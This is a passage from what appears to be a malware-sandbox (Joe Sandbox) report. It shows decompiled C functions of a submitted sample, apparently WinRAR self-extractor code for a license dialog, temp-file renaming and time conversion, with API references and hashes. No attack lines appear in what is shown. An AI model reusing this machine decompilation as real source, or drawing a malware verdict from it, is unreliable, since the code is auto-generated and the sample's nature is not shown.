											E013AB977(_t344 + 0xc4, _t344 + 0xc4, 0x2000);
											_push(0x800);
											_push(_t240 + 0x1104);
											_push(_t344 + 0xc8);
											E013B078D();
											goto L102;
										}
										_t332 = _t330 - 1;
										if(_t332 == 0) {
											_t220 = E013AC337(_t315);
											 *(_t344 + 0x1c) = _t220;
											_t342 = _t240 + 0x2108;
											 *(_t240 + 0x2106) = _t220 >> 0x00000002 & 0x00000001;
											 *(_t240 + 0x2107) = _t220 >> 0x00000003 & 0x00000001;
											 *((char*)(_t240 + 0x2208)) = 0;
											 *_t342 = 0;
											__eflags = _t220 & 0x00000001;
											if((_t220 & 0x00000001) != 0) {
												_t334 = E013AC337(_t315);
												__eflags = _t334 - 0xff;
												if(_t334 >= 0xff) {
													_t334 = 0xff;
												}
												E013AC299(_t318, _t342, _t334);
												_t220 =  *(_t344 + 0x1c);
												 *((char*)(_t334 + _t342)) = 0;
											}
											__eflags = _t220 & 0x00000002;
											if((_t220 & 0x00000002) != 0) {
												_t333 = E013AC337(_t315);
												__eflags = _t333 - 0xff;
												if(_t333 >= 0xff) {
													_t333 = 0xff;
												}
												_t343 = _t240 + 0x2208;
												E013AC299(_t318, _t343, _t333);
												 *((char*)(_t333 + _t343)) = 0;
											}
											__eflags =  *(_t240 + 0x2106);
											if( *(_t240 + 0x2106) != 0) {
												 *((intOrPtr*)(_t240 + 0x2308)) = E013AC337(_t315);
											}
											__eflags =  *(_t240 + 0x2107);
											if( *(_t240 + 0x2107) != 0) {
												 *((intOrPtr*)(_t240 + 0x230c)) = E013AC337(_t315);
											}
											 *((char*)(_t240 + 0x2105)) = 1;
											goto L102;
										}
										if(_t332 != 1) {
											goto L102;
										}
										if( *((intOrPtr*)(_t240 + 4)) == 3 &&  *((intOrPtr*)(_t318 + 0x18)) -  *(_t344 + 0x28) == 1) {
											_t340 = _t340 + 1;
										}
										_t336 = _t240 + 0x1028;
										E013A1FA5(_t336, _t340);
										_push(_t340);
										_push( *_t336);
										goto L40;
									}
								} else {
									L102:
									_t247 =  *(_t344 + 0x28);
									 *(_t318 + 0x1c) = _t247;
									_t135 =  *((intOrPtr*)(_t318 + 0x18)) - _t247;
									if(_t135 >= 2) {
										continue;
									}
									break;
								}
							}
						}
					}
				}
			}

0x013a20d8
0x013a20de
0x013a20e5
0x013a20e9
0x013a20ee
0x013a20f8
0x013a274f
0x013a2756
0x013a2756
0x013a20fe
0x013a2100
0x013a2106
0x013a210d
0x013a2116
0x013a2118
0x013a211d
0x013a211f
0x013a2121
0x00000000
0x00000000
0x013a2134
0x013a2137
0x013a2139
0x00000000
0x00000000
0x013a213f
0x013a2141
0x00000000
0x013a2151
0x013a2151
0x013a2156
0x013a215a
0x013a215f
0x013a2162
0x013a2164
0x013a2166
0x013a2168
0x013a216c
0x013a2170
0x00000000
0x013a2180
0x013a2184
0x013a2195
0x013a2199
0x013a219e
0x013a21a4
0x013a21a8
0x013a21b1
0x013a21c9
0x013a21cb
0x013a21ce
0x013a21ce
0x013a21d1
0x013a21d1
0x013a21d7
0x013a21db
0x013a21e4
0x013a21fc
0x013a21fe
0x013a2201
0x013a2201
0x013a21e4
0x013a2204
0x013a2208
0x013a2208
0x013a2210
0x013a221c
0x013a221e
0x00000000
0x013a222f
0x013a222f
0x013a2232
0x013a25e1
0x013a25e6
0x013a25e8
0x013a2618
0x013a2626
0x013a262e
0x013a2639
0x013a263c
0x013a2642
0x013a2645
0x013a2654
0x013a2659
0x013a265d
0x013a2661
0x013a2669
0x013a2669
0x013a2679
0x013a2689
0x013a268e
0x013a2695
0x013a269d
0x013a26a6
0x013a26b4
0x013a26be
0x013a26cb
0x013a26d4
0x013a26da
0x013a26eb
0x013a26f0
0x013a26f5
0x013a26f9
0x013a26fd
0x013a2703
0x013a270d
0x013a2712
0x013a2715
0x013a2717
0x013a2719
0x013a2719
0x013a2717
0x013a2703
0x013a271f
0x013a2726
0x013a2730
0x013a25ea
0x013a25f7
0x013a25fc
0x013a2600
0x013a2604
0x013a260c
0x013a260c
0x00000000
0x013a25e8
0x013a2238
0x013a223b
0x013a25ba
0x013a25bf
0x013a25c1
0x00000000
0x00000000
0x013a25c7
0x013a25cf
0x013a25d9
0x013a2290
0x013a2292
0x00000000
0x013a2292
0x013a2241
0x013a2244
0x013a243b
0x013a243d
0x00000000
0x00000000
0x013a2443
0x013a244e
0x013a2450
0x013a2455
0x013a2459
0x013a245b
0x013a2461
0x013a2465
0x013a2465
0x013a2468
0x013a246c
0x013a246e
0x013a2470
0x013a2472
0x013a2496
0x013a2474
0x013a2482
0x013a2482
0x013a249b
0x013a249f
0x013a249f
0x013a24a3
0x013a24a3
0x013a24a6
0x013a24aa
0x013a24ac
0x013a24ae
0x013a24b0
0x013a24d4
0x013a24b2
0x013a24c0
0x013a24c0
0x013a24b0
0x013a24d9
0x013a24df
0x013a24df
0x013a24e2
0x013a24e6
0x013a24e8
0x013a24ed
0x013a24ef
0x013a2513
0x013a24f1
0x013a24ff
0x013a24ff
0x013a2518
0x013a2518
0x013a251c
0x013a2521
0x013a2527
0x013a2529
0x013a252f
0x013a2534
0x013a255d
0x013a2562
0x013a2536
0x013a2538
0x013a253d
0x013a2542
0x013a2547
0x013a2549
0x013a254b
0x013a2556
0x013a2556
0x013a254b
0x013a2567
0x013a256c
0x013a2575
0x013a2577
0x013a2579
0x013a2584
0x013a2584
0x013a2579
0x013a2589
0x013a258e
0x013a259b
0x013a259d
0x013a259f
0x013a25ae
0x013a25ae
0x013a259f
0x013a258e
0x013a2529
0x00000000
0x013a2521
0x013a2445
0x013a2448
0x00000000
0x00000000
0x00000000
0x013a2448
0x013a224a
0x013a224d
0x013a23de
0x013a23e0
0x00000000
0x00000000
0x013a23e6
0x013a23f1
0x013a23f3
0x013a23ff
0x013a2401
0x013a2411
0x013a241b
0x013a2420
0x013a2431
0x013a2431
0x00000000
0x013a2401
0x013a23e8
0x013a23eb
0x00000000
0x00000000
0x00000000
0x013a23eb
0x013a2253
0x013a2256
0x013a2369
0x013a2378
0x013a2383
0x013a2385
0x013a238d
0x013a2393
0x013a23a0
0x013a23a5
0x013a23a5
0x013a23bb
0x013a23c0
0x013a23cb
0x013a23d3
0x013a23d4
0x00000000
0x013a23d4
0x013a225c
0x013a225f
0x013a229e
0x013a22a5
0x013a22ac
0x013a22b5
0x013a22c3
0x013a22c9
0x013a22d0
0x013a22d4
0x013a22d6
0x013a22df
0x013a22e6
0x013a22e8
0x013a22ea
0x013a22ea
0x013a22f0
0x013a22f5
0x013a22f9
0x013a22f9
0x013a22fd
0x013a22ff
0x013a2308
0x013a230f
0x013a2311
0x013a2313
0x013a2313
0x013a2316
0x013a231f
0x013a2324
0x013a2324
0x013a2328
0x013a232f
0x013a2338
0x013a2338
0x013a233e
0x013a2345
0x013a234e
0x013a234e
0x013a2354
0x00000000
0x013a2354
0x013a2264
0x00000000
0x00000000
0x013a226e
0x013a227c
0x013a227c
0x013a227f
0x013a2288
0x013a228d
0x013a228e
0x00000000
0x013a228e
0x013a2737
0x013a2737
0x013a2737
0x013a273b
0x013a2741
0x013a2746
0x00000000
0x00000000
0x00000000
0x013a2746
0x013a2210
0x013a2170
0x013a2141
0x013a274e

Strings

;%u, xrefs: 013A2408
x%u, xrefs: 013A25EB
xc%u, xrefs: 013A2648

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 04a661ca0cd5b13f7afb9324eefb33f991683fb4082d3106953c15f3ee8285f8
Instruction ID: dad7621ae9115605c3502af0e1b68a6457cdb99493a1cb635716bf281822848d
Opcode Fuzzy Hash: 04a661ca0cd5b13f7afb9324eefb33f991683fb4082d3106953c15f3ee8285f8
Instruction Fuzzy Hash: 97F138716043819BDB15EB2C8894BFF7B99EFA130CF88056DEE858B282DB25D544C762

Uniqueness

Uniqueness Score: -1.00%

Function 013B995E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E013B995E(void* __ecx, void* __edx, void* __eflags, void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed short _a12, intOrPtr _a16) {
				long _t9;
				long _t10;
				WCHAR* _t11;
				void* _t25;
				signed short _t28;
				struct HWND__* _t35;
				intOrPtr _t36;
				void* _t37;
				struct HWND__* _t38;

				_t28 = _a12;
				_t36 = _a8;
				_t35 = _a4;
				if(E013A12E7(__edx, _t35, _t36, _t28, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L16:
					__eflags = 1;
					return 1;
				}
				_t37 = _t36 - 0x110;
				if(_t37 == 0) {
					E013BB8BB(__edx, __eflags, __fp0, _t35);
					_t9 =  *0x13e622c;
					__eflags = _t9;
					if(_t9 != 0) {
						SendMessageW(_t35, 0x80, 1, _t9);
					}
					_t10 =  *0x13f0824;
					__eflags = _t10;
					if(_t10 != 0) {
						SendDlgItemMessageW(_t35, 0x66, 0x172, 0, _t10);
					}
					_t11 =  *0x13f893c;
					__eflags = _t11;
					if(__eflags != 0) {
						SetWindowTextW(_t35, _t11);
					}
					_t38 = GetDlgItem(_t35, 0x65);
					SendMessageW(_t38, 0x435, 0, 0x10000);
					SendMessageW(_t38, 0x443, 0,  *0x13daaa4(0xf));
					 *0x13daaa0(_t35);
					_push(0);
					E013B859B( *0x13e2114, __eflags,  *0x13dcba8, _t38,  *0x13f8938, 0);
					L013C20BE( *0x13f893c);
					L013C20BE( *0x13f8938);
					goto L16;
				}
				if(_t37 != 1) {
					L5:
					return 0;
				}
				_t25 = (_t28 & 0x0000ffff) - 1;
				if(_t25 == 0) {
					_push(1);
					L7:
					EndDialog(_t35, ??);
					goto L16;
				}
				if(_t25 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x013b995f
0x013b9965
0x013b996c
0x013b9985
0x013b9a6b
0x013b9a6d
0x00000000
0x013b9a6d
0x013b998b
0x013b9991
0x013b99be
0x013b99c3
0x013b99ce
0x013b99d0
0x013b99db
0x013b99db
0x013b99dd
0x013b99e2
0x013b99e4
0x013b99f0
0x013b99f0
0x013b99f6
0x013b99fb
0x013b99fd
0x013b9a01
0x013b9a01
0x013b9a16
0x013b9a1e
0x013b9a30
0x013b9a33
0x013b9a3f
0x013b9a4e
0x013b9a59
0x013b9a64
0x00000000
0x013b9a6a
0x013b9996
0x013b99a5
0x00000000
0x013b99a5
0x013b999b
0x013b999e
0x013b99b9
0x013b99ad
0x013b99ae
0x00000000
0x013b99ae
0x013b99a3
0x013b99ac
0x00000000
0x013b99ac
0x00000000

APIs

Part of subcall function 013A12E7: GetDlgItem.USER32(00000000,00003021), ref: 013A132B
Part of subcall function 013A12E7: SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

EndDialog.USER32(?,00000001), ref: 013B99AE
SendMessageW.USER32(?,00000080,00000001,?), ref: 013B99DB
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 013B99F0
SetWindowTextW.USER32(?,?), ref: 013B9A01
GetDlgItem.USER32(?,00000065), ref: 013B9A0A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 013B9A1E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 013B9A30

Strings

LICENSEDLG, xrefs: 013B9972

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 6361d1bf781c2ce23d7d70913efa5ed6c8cbcd73d786aee59751902fe94f187d
Instruction ID: d64025058949bbb2553bdbb5d4f5b0ba10dc3f54dbe17094f1fa5f79f4c3564b
Opcode Fuzzy Hash: 6361d1bf781c2ce23d7d70913efa5ed6c8cbcd73d786aee59751902fe94f187d
Instruction Fuzzy Hash: 6921D8722012157FF6315A79EEC4FBB7FADEB4AB8CF014018F741A6984DB6298019732

Uniqueness

Uniqueness Score: -1.00%

Function 013A927D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E013A927D(void* __ecx) {
				void* _t31;
				short _t32;
				long _t34;
				void* _t39;
				short _t41;
				void* _t65;
				intOrPtr _t68;
				void* _t76;
				intOrPtr _t79;
				void* _t82;
				WCHAR* _t83;
				void* _t85;
				void* _t87;

				E013BCDF0(E013CF5C3, _t85);
				E013BCEC0();
				_t83 =  *(_t85 + 8);
				_t31 = _t85 - 0x4030;
				__imp__GetLongPathNameW(_t83, _t31, 0x800, _t76, _t82, _t65);
				if(_t31 == 0 || _t31 >= 0x800) {
					L20:
					_t32 = 0;
					__eflags = 0;
				} else {
					_t34 = GetShortPathNameW(_t83, _t85 - 0x5030, 0x800);
					if(_t34 == 0) {
						goto L20;
					} else {
						_t92 = _t34 - 0x800;
						if(_t34 >= 0x800) {
							goto L20;
						} else {
							 *(_t85 + 8) = E013AB8DC(_t92, _t85 - 0x4030);
							_t78 = E013AB8DC(_t92, _t85 - 0x5030);
							_t68 = 0;
							if( *_t38 == 0) {
								goto L20;
							} else {
								_t39 = E013B0B00( *(_t85 + 8), _t78);
								_t94 = _t39;
								if(_t39 == 0) {
									goto L20;
								} else {
									_t41 = E013B0B00(E013AB8DC(_t94, _t83), _t78);
									if(_t41 != 0) {
										goto L20;
									} else {
										 *(_t85 - 0x100c) = _t41;
										_t79 = 0;
										while(1) {
											_t96 = _t41;
											if(_t41 != 0) {
												break;
											}
											E013AF160(_t85 - 0x100c, _t83, 0x800);
											E013A3F2B(E013AB8DC(_t96, _t85 - 0x100c), 0x800, L"rtmp%d", _t79);
											_t87 = _t87 + 0x10;
											if(E013A9E4F(_t85 - 0x100c) == 0) {
												_t41 =  *(_t85 - 0x100c);
											} else {
												_t41 = 0;
												 *(_t85 - 0x100c) = 0;
											}
											_t79 = _t79 + 0x7b;
											if(_t79 < 0x2710) {
												continue;
											} else {
												_t99 = _t41;
												if(_t41 == 0) {
													goto L20;
												} else {
													break;
												}
											}
											goto L21;
										}
										E013AF160(_t85 - 0x3030, _t83, 0x800);
										_push(0x800);
										E013AB952(_t99, _t85 - 0x3030,  *(_t85 + 8));
										if(MoveFileW(_t85 - 0x3030, _t85 - 0x100c) == 0) {
											goto L20;
										} else {
											E013A9451(_t85 - 0x2030);
											 *((intOrPtr*)(_t85 - 4)) = _t68;
											if(E013A9E4F(_t83) == 0) {
												_push(0x12);
												_push(_t83);
												_t68 = E013A9541(_t85 - 0x2030);
											}
											MoveFileW(_t85 - 0x100c, _t85 - 0x3030);
											if(_t68 != 0) {
												E013A94F3(_t85 - 0x2030);
												E013A963A(_t85 - 0x2030);
											}
											E013A9487(_t85 - 0x2030);
											_t32 = 1;
										}
									}
								}
							}
						}
					}
				}
				L21:
				 *[fs:0x0] =  *((intOrPtr*)(_t85 - 0xc));
				return _t32;
			}

0x013a9282
0x013a928c
0x013a9293
0x013a9296
0x013a92a5
0x013a92ad
0x013a943c
0x013a943c
0x013a943c
0x013a92bb
0x013a92c4
0x013a92cc
0x00000000
0x013a92d2
0x013a92d2
0x013a92d4
0x00000000
0x013a92da
0x013a92e6
0x013a92f5
0x013a92f7
0x013a92fc
0x00000000
0x013a9302
0x013a9306
0x013a930b
0x013a930d
0x00000000
0x013a9313
0x013a931b
0x013a9322
0x00000000
0x013a9328
0x013a9328
0x013a932f
0x013a9331
0x013a9331
0x013a9334
0x00000000
0x00000000
0x013a9343
0x013a9360
0x013a9365
0x013a9376
0x013a9383
0x013a9378
0x013a9378
0x013a937a
0x013a937a
0x013a938a
0x013a9393
0x00000000
0x013a9395
0x013a9395
0x013a9398
0x00000000
0x00000000
0x00000000
0x00000000
0x013a9398
0x00000000
0x013a9393
0x013a93ac
0x013a93b1
0x013a93bc
0x013a93d9
0x00000000
0x013a93db
0x013a93e1
0x013a93e7
0x013a93f1
0x013a93f3
0x013a93f5
0x013a9401
0x013a9401
0x013a9411
0x013a9415
0x013a941d
0x013a9428
0x013a9428
0x013a9433
0x013a9438
0x013a9438
0x013a93d9
0x013a9322
0x013a930d
0x013a92fc
0x013a92d4
0x013a92cc
0x013a943e
0x013a9444
0x013a944e

APIs

__EH_prolog.LIBCMT ref: 013A9282
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 013A92A5
GetShortPathNameW.KERNEL32 ref: 013A92C4

Part of subcall function 013B0B00: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,013AAC99,?,?,?,013AAC48,?,-00000002,?,00000000,?), ref: 013B0B16

_swprintf.LIBCMT ref: 013A9360

Part of subcall function 013A3F2B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 013A3F3E

MoveFileW.KERNEL32(?,?), ref: 013A93D5
MoveFileW.KERNEL32(?,?), ref: 013A9411

Strings

rtmp%d, xrefs: 013A9349

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: 504712c9eadf31a3cb8d052a7f90ac2f7c5dfc9557428b022038976e3f34f084
Instruction ID: b8f621dee51190455372fc4293c889f39bd8942fbaf2bee36fc49c5f0269defc
Opcode Fuzzy Hash: 504712c9eadf31a3cb8d052a7f90ac2f7c5dfc9557428b022038976e3f34f084
Instruction Fuzzy Hash: 3341AF7291115AAADF20EB68CD54FDB777CEF5878DFC040A5AA08B3041EA349B44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 013B7D95 Relevance: 12.1, APIs: 8, Instructions: 135
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E013B7D95(void* __ecx, intOrPtr* _a4) {
				struct tagMSG _v36;
				char _v44;
				char _v48;
				WCHAR* _v52;
				intOrPtr* _v60;
				intOrPtr* _v64;
				WCHAR* _v68;
				long _t33;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t67;
				unsigned int _t69;
				WCHAR* _t75;
				intOrPtr* _t81;
				WCHAR* _t82;
				void* _t83;
				long _t84;

				_t83 = __ecx;
				_v36.hwnd = 0;
				_v36.message = 0;
				_t33 = GetTickCount();
				_t81 = _a4;
				_t84 = _t33;
				while(1) {
					_push( &_v36);
					_push(_t81);
					if( *((intOrPtr*)( *_t81 + 0x48))() >= 0 && _v44 != 0) {
						break;
					}
					if(GetTickCount() - _t84 > 0x7d0) {
						break;
					} else {
						if(PeekMessageW( &_v36, 0, 0, 0, 0) != 0) {
							GetMessageW( &_v36, 0, 0, 0);
							TranslateMessage( &_v36);
							DispatchMessageW( &_v36);
						}
						continue;
					}
				}
				_t67 =  *((intOrPtr*)( *_t81 + 0x48))(_t81,  &_v44);
				__eflags = _t67;
				if(_t67 < 0) {
					L15:
					__eflags =  *(_t83 + 8);
					if( *(_t83 + 8) != 0) {
						__eflags =  *(_t83 + 0x18);
						if( *(_t83 + 0x18) == 0) {
							__eflags =  *(_t83 + 0x14);
							if(__eflags != 0) {
								_t82 = E013B83C6(_t83, __eflags,  *(_t83 + 0x14));
								__eflags = _t82;
								if(_t82 != 0) {
									 *0x13dab34( *((intOrPtr*)(_t83 + 4)), 1, 0, 0, 0, 0, 0x204);
									ShowWindow( *(_t83 + 8), 5);
									SetWindowTextW( *(_t83 + 8), _t82);
									L013C20BE(_t82);
								}
							}
						}
					}
					L20:
					_t69 =  !_t67 >> 0x1f;
					__eflags = _t69;
					return _t69;
				}
				_t75 = _v52;
				__eflags = _t75;
				if(_t75 == 0) {
					L13:
					__eflags = _t67;
					if(_t67 < 0) {
						goto L15;
					}
					__eflags = _t75;
					if(_t75 != 0) {
						goto L20;
					}
					goto L15;
				}
				_t67 =  *( *_t75)(_t75, 0x13d183c,  &_v48);
				__eflags = _t67;
				if(_t67 < 0) {
					L12:
					_t48 = _v64;
					 *((intOrPtr*)( *_t48 + 8))(_t48);
					_t75 = _v68;
					goto L13;
				}
				_t50 = _v60;
				_t67 =  *((intOrPtr*)( *_t50 + 0x20))(_t50);
				__eflags = _t67;
				if(_t67 >= 0) {
					_t54 = _v64;
					_t67 =  *((intOrPtr*)( *_t54 + 0x14))(_t54, _v36.lParam);
				}
				_t52 = _v64;
				 *((intOrPtr*)( *_t52 + 8))(_t52);
				goto L12;
			}

0x013b7da4
0x013b7da6
0x013b7daa
0x013b7dae
0x013b7db0
0x013b7db4
0x013b7db6
0x013b7dbc
0x013b7dbd
0x013b7dc3
0x00000000
0x00000000
0x013b7dd5
0x00000000
0x013b7dd7
0x013b7dea
0x013b7df6
0x013b7e01
0x013b7e0c
0x013b7e0c
0x00000000
0x013b7dea
0x013b7dd5
0x013b7e1f
0x013b7e21
0x013b7e23
0x013b7e82
0x013b7e84
0x013b7e87
0x013b7e89
0x013b7e8c
0x013b7e8e
0x013b7e91
0x013b7e9d
0x013b7e9f
0x013b7ea1
0x013b7eb1
0x013b7ebc
0x013b7ec6
0x013b7ecd
0x013b7ed2
0x013b7ea1
0x013b7e91
0x013b7e8c
0x013b7ed4
0x013b7ed7
0x013b7ed7
0x013b7ee1
0x013b7ee1
0x013b7e25
0x013b7e29
0x013b7e2b
0x013b7e7a
0x013b7e7a
0x013b7e7c
0x00000000
0x00000000
0x013b7e7e
0x013b7e80
0x00000000
0x00000000
0x00000000
0x013b7e80
0x013b7e3c
0x013b7e3e
0x013b7e40
0x013b7e6c
0x013b7e6c
0x013b7e73
0x013b7e76
0x00000000
0x013b7e76
0x013b7e42
0x013b7e4c
0x013b7e4e
0x013b7e50
0x013b7e52
0x013b7e60
0x013b7e60
0x013b7e62
0x013b7e69
0x00000000

APIs

GetTickCount.KERNEL32 ref: 013B7DAE
GetTickCount.KERNEL32 ref: 013B7DCC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 013B7DE2
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 013B7DF6
TranslateMessage.USER32(?), ref: 013B7E01
DispatchMessageW.USER32(?), ref: 013B7E0C
ShowWindow.USER32(?,00000005,?,00000000,?,?,?,?,00000000,00000000,00000000,<html>,00000006), ref: 013B7EBC
SetWindowTextW.USER32(?,00000000), ref: 013B7EC6

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Message$CountTickWindow$DispatchPeekShowTextTranslate
String ID:
API String ID: 4150546248-0
Opcode ID: 3d92ffc6aec427ede77fbb272a64ef73cc54587a05261f6508b2ca4ece0349b5
Instruction ID: b82ff9dc2b965d67a48a1b688624affd31234330b1472351f7c1a3fa50eca611
Opcode Fuzzy Hash: 3d92ffc6aec427ede77fbb272a64ef73cc54587a05261f6508b2ca4ece0349b5
Instruction Fuzzy Hash: DE413C71204306AFD714DF65D98896BBBEDEF89608F00086DF64AC7690EB71EC45CB62

Uniqueness

Uniqueness Score: -1.00%

Function 013AFE0E Relevance: 12.1, APIs: 8, Instructions: 117
timeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E013AFE0E(intOrPtr* __ecx, intOrPtr __edx, void* __eflags, signed int* _a4) {
				struct _SYSTEMTIME _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _t73;
				void* _t81;
				signed int _t85;
				void* _t86;
				intOrPtr _t87;
				intOrPtr* _t89;
				intOrPtr* _t90;
				signed int* _t92;
				signed int _t94;

				_t87 = __edx;
				_t90 = __ecx;
				_v80 = E013BD440( *__ecx,  *((intOrPtr*)(__ecx + 4)), 0x64, 0);
				_v76 = _t87;
				if(E013AA930() >= 0x600) {
					FileTimeToSystemTime( &_v64,  &_v32);
					SystemTimeToTzSpecificLocalTime(0,  &_v32,  &_v16);
					SystemTimeToFileTime( &_v16,  &_v72);
					SystemTimeToFileTime( &_v32,  &_v56);
					asm("sbb ecx, [esp+0x24]");
					asm("sbb ecx, ebp");
					asm("adc ecx, ebp");
					_v72.dwLowDateTime = 0 - _v56.dwLowDateTime + _v72.dwLowDateTime + _v64.dwLowDateTime;
					asm("adc ecx, ebp");
					_v72.dwHighDateTime = _v72.dwHighDateTime + _v64.dwHighDateTime;
				} else {
					FileTimeToLocalFileTime( &_v64,  &_v72);
				}
				FileTimeToSystemTime( &_v72,  &_v48);
				_t92 = _a4;
				_t81 = 1;
				_t85 = _v48.wDay & 0x0000ffff;
				_t94 = _v48.wMonth & 0x0000ffff;
				_t88 = _v48.wYear & 0x0000ffff;
				_t92[3] = _v48.wHour & 0x0000ffff;
				_t92[4] = _v48.wMinute & 0x0000ffff;
				_t92[5] = _v48.wSecond & 0x0000ffff;
				_t92[7] = _v48.wDayOfWeek & 0x0000ffff;
				 *_t92 = _v48.wYear & 0x0000ffff;
				_t92[1] = _t94;
				_t92[2] = _t85;
				_t92[8] = _t85 - 1;
				if(_t94 > 1) {
					_t89 = 0x13da084;
					_t86 = 4;
					while(_t86 <= 0x30) {
						_t86 = _t86 + 4;
						_t92[8] = _t92[8] +  *_t89;
						_t89 = _t89 + 4;
						_t81 = _t81 + 1;
						if(_t81 < _t94) {
							continue;
						}
						break;
					}
					_t88 = _v48.wYear & 0x0000ffff;
				}
				if(_t94 > 2 && E013AFF77(_t88) != 0) {
					_t92[8] = _t92[8] + 1;
				}
				_t73 = E013BD4B0( *_t90,  *((intOrPtr*)(_t90 + 4)), 0x3b9aca00, 0);
				_t92[6] = _t73;
				return _t73;
			}

0x013afe0e
0x013afe15
0x013afe26
0x013afe2a
0x013afe3e
0x013afe5c
0x013afe69
0x013afe7f
0x013afe8b
0x013afe99
0x013afea1
0x013afea7
0x013afead
0x013afeb1
0x013afeb3
0x013afe40
0x013afe4a
0x013afe4a
0x013afec1
0x013afec3
0x013afece
0x013afecf
0x013afed4
0x013afed9
0x013afede
0x013afee6
0x013afeee
0x013afef6
0x013afefc
0x013afefe
0x013aff01
0x013aff04
0x013aff09
0x013aff0d
0x013aff12
0x013aff13
0x013aff1a
0x013aff1d
0x013aff20
0x013aff23
0x013aff26
0x00000000
0x00000000
0x00000000
0x013aff26
0x013aff28
0x013aff28
0x013aff30
0x013aff3c
0x013aff3c
0x013aff4b
0x013aff51
0x013aff5a

APIs

__aulldiv.LIBCMT ref: 013AFE21

Part of subcall function 013AA930: GetVersionExW.KERNEL32(?), ref: 013AA955

FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 013AFE4A
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 013AFE5C
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 013AFE69
SystemTimeToFileTime.KERNEL32(?,?), ref: 013AFE7F
SystemTimeToFileTime.KERNEL32(?,?), ref: 013AFE8B
FileTimeToSystemTime.KERNEL32(?,?), ref: 013AFEC1
__aullrem.LIBCMT ref: 013AFF4B

Memory Dump Source

